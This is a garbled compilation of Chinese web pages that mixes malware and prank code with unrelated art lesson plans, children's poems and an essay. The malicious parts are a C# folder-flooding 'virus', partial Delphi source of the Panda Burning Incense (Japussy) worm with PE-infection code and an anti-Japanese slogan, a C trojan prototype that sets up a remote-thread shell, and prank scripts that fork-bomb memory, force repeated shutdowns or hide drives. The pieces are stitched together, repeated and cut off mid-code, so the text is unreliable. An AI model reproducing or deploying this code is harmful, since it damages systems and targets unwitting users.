自己编写一个小病毒代码

自己编写一个小病毒代码
自己编写一个小病毒代码

C# 代码

自己编写一个小程序,类是病毒但无害,就是会创建50*50*26个空文件夹,运行过产生30000个文件夹就等不下去了,删除新建的文件夹估计要10分钟,仅为娱乐

private void button4_Click(object sender, EventArgs e)

{

IList temp_list = new List();

string path = "I:\\新建文件夹";/****本人笔记本有I盘,同时为了删除方便****/

// string path = "C:\\Program Files"; 用这行代码时估计你要崩溃

string pathFile = "";

char [] arry = new char[26]

{'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' };

try

{

for (int p = 0; p < 50; p++)

{

for (int k = 0; k < 50; k++)

{

for (int i = 0; i < 26; i++)

{

temp_list.Add(i.ToString());

//temp_list.Add("num:" + i.ToString());

}

temp_list = getListItems(temp_list, 26);

for (int i = 0; i < temp_list.Count; i++)

{

richTextBox1.Text += arry[int.Parse(temp_list[i])];

pathFile += arry[int.Parse(temp_list[i])];

if (Directory.Exists(path + "\\" + pathFile))/***判断文件夹是否存在,存在就删除该文件加***/

{

Directory.Delete(path + "\\" + pathFile);

System.IO.Directory.CreateDirectory(path + "\\" + pathFile);/****创建文件加*****/

}

else

{

System.IO.Directory.CreateDirectory(path + "\\" + pathFile); /****创建文件加*****/

}

richTextBox2.Text += temp_list[i];

if (pathFile.Length > 200)/***文件夹的名字超过240字符后会报错,故取240以内都有效***/

{

pathFile = "";

}

}

}

}

}

catch (Exception ee)

{

throw new Exception(ee.ToString());

}

}

public static IList getListItems(IList list, int num)/***建立获取随机数****/

{

IList temp_list = new List(list);

IList return_list = new List();

Random random = new Random();

for (int i = 0; i < num; i++)

{

if (temp_list.Count > 0)

{

int arrIndex = random.Next(0, temp_list.Count);

return_list.Add(temp_list[arrIndex]);

temp_list.RemoveAt(arrIndex);

}

else

{

break;

}

}

return return_list;

}

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五年级给文学故事配插图教案

教学目的 1、让学生认识插图特点和文学作品的关系, 2、并学习为寓言故事画一幅插图。 3、培养学生的想象力和创造能力。 4、完成一幅着色的故事插图,画面要求人物的身份、服饰、道具及配景等均要与文学作品相符。 教学过程 一、导入: 1、让同学们回忆一下自己所熟悉和收集的寓言故事,同学讲解。 2、让同学们思考如何用绘画的形势来形象的再现出寓言故事所给人的启迪呢? 3、欣赏优秀的寓言故事插图作品。 二授新: 1、基本概念: 插画在中国被人们俗称为插图,是一种穿插在小说等文学书籍之中的画,插画之所以单独成为一种艺术,是因为它要体现出情节的发展,又要包含画家自身的理解.最终造就了插画的独特性。 插图分为图解插图和艺术插图两种。就造型艺术而言,插图是对文字起说明作用的图画, 它起初原是为了装饰书籍,增加读者而创作的。随着书籍的发展与分类,插图形式也愈来愈多样,如文学、艺术、儿童读物等插图。但现在一般所说的插图主要是指文学作品中的艺术插图。这种插图是画家在忠于文学作品的故事情节和思想内容的基础上经过构思和构画而创作出来的,因此,插图有具有独立的艺术价值,成为造型艺术的一个品种。 2、分析插图作品的内容及作用--对故事、寓言等文学作品的内容、形象加以说明,加强作品的感染力。 3、分析插图与作品的关系:插图是对文字起说明作用。 4、出示一些与创作插图有关的形象资料,讲述插图作品的主体,要符合内容要求,人物的身份、服饰及配置景物应有时代特点。 5、绘画步骤:

A、熟悉故事,选出主要情节,分析主要人物的身份、服饰、所处环境和时代特征。 B、用铅笔定场景位置。画出天空与地平线(室内墙壁地面线),用基本形画出主要的景物。 C、定出人物的位置,按人物的大小、前后关系定在画面上。 D、详细画出各部分。 E、分析插图颜色的运用,一般是根据作品的内容决定的, ①色彩与作品内容有密切关系,插图(创作画)色彩为表达主题而设。 ②用颜色衬托主体形象,使其突出,可以运用重色衬出淡色或淡色托出重色。 ③画面要有主要颜色,其他颜色起衬托作用。 三、插图说明 《守株待兔》 《拔苗助长》 《皇帝的新装》插图类型祥解 全景式的表现方式(水彩) 情节性的表现方式(素描) 语文课本中的插图以水彩的形式再现 图文结合的形式

熊猫烧香病毒源代码

“熊猫烧香”简介:“熊猫烧香”病毒是一个能在电脑操作系统上运行的蠕虫病毒。采用“熊猫烧香”头像作为图标。它的变种会感染EXE可执行文件,被病毒感染的文件图标均变为“熊猫烧香”。同时,受感染的计算机还会出现蓝屏、频繁重启以及文件被破坏等现象。该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。目前已有百万台电脑受害。 program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe

} IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x }

熊猫烧香病毒源代码

“熊猫烧香”简介:“熊猫烧香”病毒是一个能在电脑操作系统上运行的蠕虫病毒。采用“熊猫烧香”头像作为图标。它的变种会感染EXE可执行文件,被病毒感染的文件图标均变为“熊猫烧香”。同时,受感染的计算机还会出现蓝屏、频繁重启以及文件被破坏等现象。该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。目前已有百万台电脑受害。 program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' +

'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): In teger; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制} procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TSt ream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用} procedure Extract: string); var sStream, dStream: T; begin

令人温暖的十首小诗

我是鸟窝 1:放学后,很累很累,我拖着书包,想着没写完的作业,走进心灵的森林。 2:我在森林中久久地站立着,头发慢慢变长,被一对小鸟当作了安乐窝。 3:闻着树木的清香、听着鸟儿的梦话、看着枝叶间的阳光,我的烦恼没有了。 4:我的毛孔呼吸、我的脚趾唱歌、我的睫毛跳舞,我变成了一棵树,高高的,直直的,有很多很多枝条,落着很多很多小鸟…… 我爱的树 1:山上的老房子门口有一棵很大很老的树,每年夏天都会开满鲜花,很白很香。 2:我喜欢和它说话,当它听懂了的时候,就会飘下一朵朵落花给我。 3:我把香香的花藏在衣服里、书包里,老树就可以一直陪伴着我。 4:它是我的树,我身上带着它的香味,晴天它给我阴凉,雨天它给我遮挡,我和树上的小鸟、树下的蚂蚁、树旁的蘑菇一起,分享这棵树…… 我睡着了 1:夜晚,黑暗用小手一点一点把白天抹掉了,屋里静悄悄的,朋友们来啦。 2:关掉灯后会有很多亮晶晶的小眼睛,他们就是我的朋友,我的守护天使。 3:他们会为我唱歌、为我跳舞、给我讲有趣的故事、听我诉说白天的生活。 4:我相信,每一个孩子的肩膀上都站着他的守护天使,只要你用心去感应,天使就会扇着翅膀、弹着竖琴、顶着光环到来,于是我香香地睡着了…… 我在海里 1:奶奶说,人是从鱼变来的,海里有华丽的宫殿,美丽的人鱼公主在唱歌。 2:我住在深深的大山里,想着遥远的大海、遥远的宫殿、遥远的歌声。 3:努力地想啊、想啊,我的身体变轻了、我的世界融化了、我的梦实现了! 4:现在我就在海里,伴着粼粼的波光、悠远的涛声、温暖的水流,我化做一株珊瑚、一尾小鱼、一只海豚,循着人鱼公主的歌声,游向碧蓝幽深的海底…… 我在青草坡 1:在那个长满青草的小山坡上,清晨的阳光把叶子上的露珠变成水晶闪烁。 2:我来到这里,手里提着竹编的小篮,装满了新鲜的水果和花朵。 3:等待那第一个出现在微光中的人,递给他迷人的玫瑰,芬芳的苹果,请他到我的花园来。 4:那些在恐怖的夜晚迷路的人,来到青草坡,看到我晨光中微笑的脸,就会找回他们的路、找回阳光下的欢乐、找回安宁的幸福……

病毒代码大全

制造木马病毒代码大全2008-06-08 19:46 制造木马病毒代码大全一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可 以.....#include #pragma comment(lib,"ws2_32.lib") #include #include #pragma comment(lib,"Shlwapi.lib") #include #include #include //参数结构; typedef struct _RemotePara { DWORD dwLoadLibrary; DWORD dwFreeLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwWSAStartup; DWORD dwSocket; DWORD dwhtons; DWORD dwbind; DWORD dwlisten; DWORD dwaccept; DWORD dwsend; DWORD dwrecv; DWORD dwclosesocket; DWORD dwCreateProcessA; DWORD dwPeekNamedPipe; DWORD dwWriteFile; DWORD dwReadFile; DWORD dwCloseHandle; DWORD dwCreatePipe; DWORD dwTerminateProcess; DWORD dwMessageBox; char strMessageBox[12]; char winsockDll[16]; char cmd[10]; char Buff[4096]; char telnetmsg[60]; }RemotePara; // 提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 根据进程名称得到进程ID DWORD GetPidByName(char *szName); // 远程线程执行 体DWORD __stdcall ThreadProc(RemotePara *Para)

愚人节整人代码

竭诚为您提供优质文档/双击可除 愚人节整人代码 篇一:整人病毒代码 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。一、怎么点都没反应的桌面如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开机中???? 附带:print键截屏方法:

键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。 哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中: windowsRegistryeditorVersion5.00

五年级给文学作品配插图案例分析

课题:给文学作品配插图(1课时) 学生:初三 教学目标:通过对文学作品的深入理解,运用绘画语言进行插图创作。培养学生丰富的形象思维能力和创造力 教学准备:学生备品:彩色笔、铅笔、橡皮 教师备品:多媒体课件、文学书籍 教学重点:运用绘画的语言表现文学情节。 教学难点:对文学作品的理解和体会,与情节相匹配的绘画语言。 教材:人教版初中美术第六册第五课 一、教学设计 《给文学作品配插图》一课在传统常规教学中缺乏生动性,所以如何把生硬变为生动,一下子抓住学生的思维,巧妙地引导学生切入主题,是本课依始的关键。迅速调动学生积极动脑、动手的参与兴趣和如何启发学生将文学作品由文字演变为图画,而又能完全展现其内涵是本课的两个难点。为此,采用学生亲身参与,在理解文学作品的基础上,进入文学作品的情境之中,用形体语言来表演,在表演过程中深刻体会文学作品的意境,形成学生自己设计插图的思路,完成作品。最后,整合班级学生共同理解《给文学作品配插图》的创作关键。通过教学活动体会文学作品,并能创造性地给文学作品配好插图。 针对教学目标,教师设计以下教学环节和策略。 1、启发活动:教师以平稳、微笑的神态注视学生,用神态与学生交流。(等听到铃声后开始上课,师生问好!)师:我们班的同学热爱文学,而且口才也非常好,那么在今天这节课上哪位同学能够给全班同学讲一段精彩的小故事呢?许多同学举手要求讲故事.生:讲故事(略)师:刘雨晴同学的故事讲完了,大家说她讲的好不好?生:好!师:同学们在听故事的时候,头脑中是否有根据故事情节形成的画面.生:有!师:其实绘画艺术家也和大家一样,但他们不同的是把对故事的想象用画笔记录下来.而这记录下来的绘画作品也就是我们今天要研究的内容----给文学作品配插图. 2、出示课题----给文学作品配插图用多媒体课件揭示插图的概念.师:那么,同学们和老师一同欣赏几幅优秀的插图作品.(多媒体课件展示插图作品.如:哈里.波特、买火柴的小女孩、狼牙山五壮士等) 师:通过欣赏插图作品,你认为插图有那些作用?启发思维让学生自己分析 生1:是文学作品的图解。

《给文学故事配插图》教案

《给文学故事陪插图》教案 教学目标: 通过对文学作品的深入理解,运用绘画语言进行插图创作。培养学生丰富的形象思维能力和创造力 教学重难点: 1、运用绘画的语言表现文学情节。 2、对文学作品的理解和体会,与情节相匹配的绘画语言。 课前准备: 教师准备:教学课件、相关图片、文字资料等。 学生准备:画笔、纸等。 教学过程: 一、教学引入。 1、启发活动:教师以平稳、微笑的神态注视学生,用神态与学生交流。(等听到铃声后开始上课,师生问好!)师:我们班的同学热爱文学,而且口才也非常好,那么在今天这节课上哪位同学能够给全班同学讲一段精彩的小故事呢?许多同学举手要求讲故事.生:讲故事(略)师:刘雨晴同学的故事讲完了,大家说她讲的好不好?生:好!师:同学们在听故事的时候,头脑中是否有根据故事情节形成的画面.生:有!师:其实绘画艺术家也和大家一样,但他们不同的是把对故事的想象用画笔记录下来.而这记录下来的绘画作品也就是我们今天要研究的内容----给文学作品配插图。 2、出示课题----给文学作品配插图用多媒体课件揭示插图的概念。师:那么,同学们和老师一同欣赏几幅优秀的插图作品。(多媒体课件展示插图作品.如:哈里.波特、买火柴的小女孩、狼牙山五壮士等) 师:通过欣赏插图作品,你认为插图有那些作用?启发思维让学生自己分析 生 1:是文学作品的图解。 生 2:把文学作品变的更直观,更能增加文学作品的感染力。 师:好,我们同学说的都很好。老师总结一下插图的作用看一看同学们和老师总结的是一样不。(多媒体课件展示插图的作用) 3、参与游戏----创造情景让学生感受与想象。师:老师想考察一下我们同学对文学作品的感受能力。老师出示二个成语,“守株待兔”、“掩耳盗铃”请两个小组各选2名同学到前面进行无声小品表演。生:活动略。场面热烈,学生互动积极。活动结束。 4、课堂练习----情景中的创造表现。“天苍苍野茫茫风吹草低见牛羊”师:请同学们体会一下诗中的意境……同学先用语言描述一下诗句中的景色、再展开丰富的想象。师:请

病毒代码大全

制造木马病毒代码大全2008-06-0819:46制造木马病毒代码大全一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可 以.....#include#pragma comment(lib,"ws2_32.lib") #include#include#pragma comment(lib,"Shlwapi.lib") #include#include#include//参数结构;typedef struct _RemotePara{DWORD dwLoadLibrary;DWORD dwFreeLibrary;DWORD dwGetProcAddress;DWORD dwGetModuleHandle;DWORD dwWSAStartup;DWORD dwSocket;DWORD dwhtons;DWORD dwbind;DWORD dwlisten;DWORD dwaccept;DWORD dwsend;DWORD dwrecv;DWORD dwclosesocket;DWORD dwCreateProcessA;DWORD dwPeekNamedPipe;DWORD dwWriteFile;DWORD dwReadFile;DWORD dwCloseHandle; DWORD dwCreatePipe;DWORD dwTerminateProcess; DWORD dwMessageBox;char strMessageBox[12];char winsockDll[16];char cmd[10];char Buff[4096];char telnetmsg[60];}RemotePara;//提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);//根据进程名称得到进程ID DWORD GetPidByName(char*szName);//远程线程执行体DWORD__stdcall ThreadProc(RemotePara*Para)

语文人教版三年级下册一对事物一首小诗

走进儿童诗 《一对事物一首诗》教学设计 西外街小学校李莎 设计理念:儿童诗真有趣,小鸟和飞机,花和蝴蝶……把两个事物放在一起,就能写出一首好玩的诗,让孩子走近儿童诗,喜欢儿童诗,并创编儿童诗。 教学内容:《小鸟》《萤火虫》《花和蝴蝶》《蓝天和海》 教学目标: 1. 初步了解群文阅读的概念以及特点。 2. 体会儿童诗丰富的想象力,感受儿童诗的童趣,体会一对事物一首诗的特点。 3.理解一对事物一首诗的一些创作方法,尝试创编儿童诗。 教学重点与难点: 教学重点:体会儿童诗丰富的想象力,感受一对事物一首诗的童趣。 教学难点:理解一对事物一首诗的一些创作方法,尝试创编儿童诗。 教学课时:一课时 教学过程: 一、课前热身 1、歌曲激趣 师:孩子们,听一听这是什么歌?(春晓)伴着优美动听的诗歌,我们要开启今天的课堂之旅。上课!老师还是第一次跟你们上课,知道我是什么老师吗? 2、出示几幅图形,考考学生的想象力。

师:除了会观察还会想象吗?老师考考你们。 师:看了这张照片你想到了什么?生自由回答。 3、师小结:当你有一双会观察的眼睛,还有一对想象的翅膀,你就是一位小诗人了。今天就让我们来当一次小诗人,走进儿童诗,写写儿童诗。(板书:儿童诗) 二、学习诗歌《小鸟》,感受一对事物一首诗的童趣。 1、生自由朗读《小鸟》。 2、小组交流这首诗的趣味性,找找这首诗中的一对事物,并说说它们之间发生了什么故事。 师:你喜欢这首诗吗?为什么喜欢?哪儿有趣呢? 师:真有趣,他们居然说话了。(此处没有让孩子说这里运用了拟人手法,因为孩子已知道,已知的东西就不教了。) 师:为什么作者会把小鸟和飞机联系起来呢?(他们的外形特别相似,他们都会飞,成为两个相关联的事物。) 3.归纳学习方法:读——找——思 三、学生自主学习《萤火虫》和《花和蝴蝶》,比较这两首诗的异同。 1、生自由朗读。 2、比较这两首诗的异同,分别找找这两首诗中的一对事物。 3、小组交流这两首诗的趣味性。 四、师生共读诗歌《蓝天和海》,体会一对事物一首诗表达的不同方式。 1、师示范读。 2、师生轮读。 3、找找这首诗中的一对对事物。

为什么喜欢带插图的文字

为什么喜欢带插图的文字? 俗话说:有图有真相。 俗话又说:没图你说个XX! 没图,你…… 以上两种情况充分体现了一种实证精神,即用图片资料证明自己的语言。但是呢,无论是在报刊、书本等纸质,还是在微博、博客等网络文章中,即使不是那些需要图片证明真实性的时候,依然能寻见插图的影子。为什么我们会如此喜欢插图呢? 不知道你在浏览微博或者其他网络文字时,会不会也有这个习惯:没图的一眼掠过,有图的即使文笔一般也会多看两眼。 小明在2014年1月1日13点50分左右,做了一个简单的统计,在小明新浪微博的关注中的100条微博之中,有91条有图,2条微博无图却有视频,7条微博纯文字。而24小时最热的100条微博中,82条有图,18条纯文字。似乎大家都达成了一种共识,文字有图才有人看,那么这背后又隐藏着什么心理呢?

一、看,灰机! 话说,那天小明正在班里专心致志地上课。忽然窗外不远处飞过一架飞机,小明一下子就忘了老师还在讲课,改为专心致志地看飞机。结果,小明被罚站了。不是小明不想好好学习,也不是老师讲的不好,只是当飞机的轰鸣声传来,那一刻,注意力不自主就被吸引过去了。 关于小明的这个故事,涉及到了一个重要概念:注意。而注意一般分为三种:有意注意,无意注意和有意后注意(或者不随意注意、随意注意和随意后注意)。 小明听课,这是一个有目的的活动,而且小明得拼命告诉自己:我要好好学习,才能迎娶白富美,成为CEO……只有消耗意志力,小明才能完成这项注意活动,这是有意注意,后来小明突然被飞机吸引过去的这个动作不在小明计划之内,而且不费力(一口气上五楼),这叫无意注意。至于有意后注意就NB多了,就像同样坐在窗边的笑笑同学,因为今天老师讲的汉语拼音啊(a)啵(b)呲(c)嘚(d)正是她预习时一直困惑的地方,她便能兴致勃勃地听讲,既有目的,又不用意志力维持。 “注意”是我们完成任何活动所必须的一项条件,在阅读中更是如此,如果不能将注意力集中在文字上,我们就不能读完哪怕是一小段文字。如果内容不够吸引人(教科书),我们就要用有意注意,消耗许多意志力。但是图片一出现,情况就有那么点不一样了。在注意活动中,刺激物(如图片)自身的特点是引起无意注意的重要因素。与蝌蚪一般的文字相比,图片则显得更加新异、漂亮或者有趣。这使得读者更爱看那些有图的文字。

整人病毒代码.doc

前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 PS 由于精力问题没有对代码的可用性进行一一验证, 所以不保证全部可用,大家如果发现 有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 、怎么点都没反应的桌面 键盘右上方的"Print Screen Sys Rq ”键的作用是屏幕抓图! 用法一,按“ Print Screen SysRq” 一下,对当前屏幕进行抓图,就是整个显示屏的内 容。 用法二,先按住“ Alt ”键,再按 “ Print Screen SysRq ”键,则是对当前窗口进行 抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、 “粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。 1. 新建一个记事本 2. 将记事本的后缀改为.reg ,就是将“新建文件.txt ”改为“新建文件.reg 3. 将下面的代码复制到记事本当中: 解释 (1) "NoDrives" =hex:08,00,00,00 这个键值是隐藏 D 盘的 图中的D 盘已经神秘消失 了。 (2) A=01000000 B=02000000 C=04000000 D=08000000 E=10000000 F=20000000G=40000000 H=80000000 1=00010000 J=00020000 K=00040000 原理介绍:二进制值 “ NoDrives ”的缺省值均是 00,00,00,00 ,表示不隐藏任何驱动器。 键值由四个字节组成,每个字节的每一位 (bit )对应从A:到Z:的一个盘,当相应位为 1时,

给文学故事配插图

给文学故事配插图( 1课时) 教学目标: 1、欣赏优秀插图作品,学习插图设计的基本知识。 2、尝试为自己喜欢的文学作品画上插图,提高造型能力。 3、热爱书籍,感受创作插图的乐趣。 教学准备: 学生备品:彩色笔、铅笔、橡皮 教师备品:多媒体课件、文学书籍、范画 教学重点:学习插图设计的基本知识,自己设计插图。 教学难点:对文学作品的理解和体会,设计与情节相匹配的插图。 教材:冀教版小学美术五年级上册第4课 教学设计 一、故事导入: 教师以平稳、微笑的神态注视学生,用神态与学生交流。(等听到铃声后开始上课,师生问好!) 师:老师知道,我们班的同学都爱看书,今天你们把自己最爱的书带来了,是不是? 生:是! 师:谁能用最精简的语言,为大家介绍一下你的书,或者讲述一小段你书中的故事呢? 生讲故事。 师:同学们在听故事的时候,头脑中有没有根据故事情节形成的画面? 生:有! 师:画家也和大家一样,但不同的是他们把对故事的想象用画笔画下来了,(多媒体出示插图)这样的绘画作品就是我们今天要研究的内容----给文学故事配插图。(出示课题) 二、新授 1、欣赏插图,了解插图的作用 启发思维让学生自己分析。 师:(用多媒体课件揭示插图的概念。)插图也叫插画,是插在文字中间,对书中的某段文字进行解释说明的一种艺术。 师:那么,同学们和老师一同欣赏几幅优秀的插图作品.(多媒体课件展示插图作品.如:哈里.波特、买火柴的小女孩、神笔马良、渔夫和金鱼等)教师适当解说。 师:通过欣赏插图,你认为插图有什么作用?把“插图的作用”贴在黑板上。 生:让故事更生动,更喜欢看了。(预设)………… 师:好,我们同学说的都很好,老师总结一下。(把学生说的插图的作用贴在黑板

整人电脑代码

第一个:让别人内存OVER(逼他重启) @echo off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @echo off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次...

打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"

英语小诗10首

英语小诗10首 1.Life By Langston Hughes Life can be good, Life can be bad, Life is mostly cheerful, But sometimes sad. Life can be dreams, Life can be great thoughts; Life can mean a person, Sitting in court. Life can be dirty, Life can even be painful; But life is what you make it, So try to make it beautiful. 生活 作者:兰斯顿·休斯 生活可能美满, 生活可能悲伤, 生活常常充满欢乐, 但有时令人沮丧。 生活可能是梦幻一场, 生活可能是智慧结晶; 生活也可能将一个人 送上被告法庭。 生活可能丑陋, 生活甚至可能痛苦; 但生活是你自己创造, 所以努力创造幸福。 2.A Question Some people live in the country Where the houses are very small

Some people live in the city Where the houses are very tall But in the country where the houses are small The gardens are very big And in the city where the houses are tall There are no gardens at all Where do you live? 3.Bell little bell, very warm, guests come, Dingling Dingling, Smile to them and say "Welcome !Welcome!" 门玲 小门玲, 真热情, 客人来了, 丁零,丁零, 笑对客人说: 欢迎,欢迎 4.英语小诗 William Blake/威廉.布莱克 To see a world in a grain of sand, And a heaven in a wild fllower, Hold infinity in the palm of your hand, And eternity in an hour. 从一粒沙子看到一个世界, 从一朵野花看到一个天堂, 把握在你手里的就是无限, 永恒也就消融于一个时辰。 5. Rain

九年级美术下册11为文学作品配画教案人美版

11.为文学作品配画 教学目标:通过对文学作品的深入理解,运用绘画语言进行插图创作。培养学生丰富的形象思维能力和创造力 教学准备:学生备品:彩色笔、铅笔、橡皮 教师备品:多媒体课件、文学书籍 教学重点:运用绘画的语言表现文学情节。 教学难点:对文学作品的理解和体会,与情节相匹配的绘画语言。 教材:冀教版美术五年级第四课 一、教学设计 《给文学作品配插图》一课在传统常规教学中缺乏生动性,所以如何把生硬变为生动,一下子抓住学生的思维,巧妙地引导学生切入主题,是本课依始的关键。迅速调动学生积极动脑、动手的参与兴趣和如何启发学生将文学作品由文字演变为图画,而又能完全展现其内涵是本课的两个难点。为此,采用学生亲身参与,在理解文学作品的基础上,进入文学作品的情境之中,用形体语言来表演,在表演过程中深刻体会文学作品的意境,形成学生自己设计插图的思路,完成作品。最后,整合班级学生共同理解《给文学作品配插图》的创作关键。通过教学活动体会文学作品,并能创造性地给文学作品配好插图。 针对教学目标,教师设计以下教学环节和策略。 1、启发活动:教师以平稳、微笑的神态注视学生,用神态与学生交流。(等听到铃声后开始上课,师生问好!)师:我们班的同学热爱文学,而且口才也非常好,那么在今天这节课上哪位同学能够给全班同学讲一段精彩的小故事呢?许多同学举手要求讲故事.生:讲故事(略)师:刘雨晴同学的故事讲完了,大家说她讲的好不好?生:好!师:同学们在听故事的时候,头脑中是否有根据故事情节形成的画面.生:有!师:其实绘画艺术家也和大家一样,但他们不同的是把对故事的想象用画笔记录下来.而这记录下来的绘画作品也就是我们今天要研究的内容----给文学作品配插图. 2、出示课题----给文学作品配插图用多媒体课件揭示插图的概念.师:那么,同学们和老师一同欣赏几幅优秀的插图作品.(多媒体课件展示插图作品.如:哈里.波特、买火柴的小女孩、狼牙山五壮士等) 师:通过欣赏插图作品,你认为插图有那些作用?启发思维让学生自己分析 生 1:是文学作品的图解。 生 2:把文学作品变的更直观,更能增加文学作品的感染力。…………

Doc宏病毒代码研究

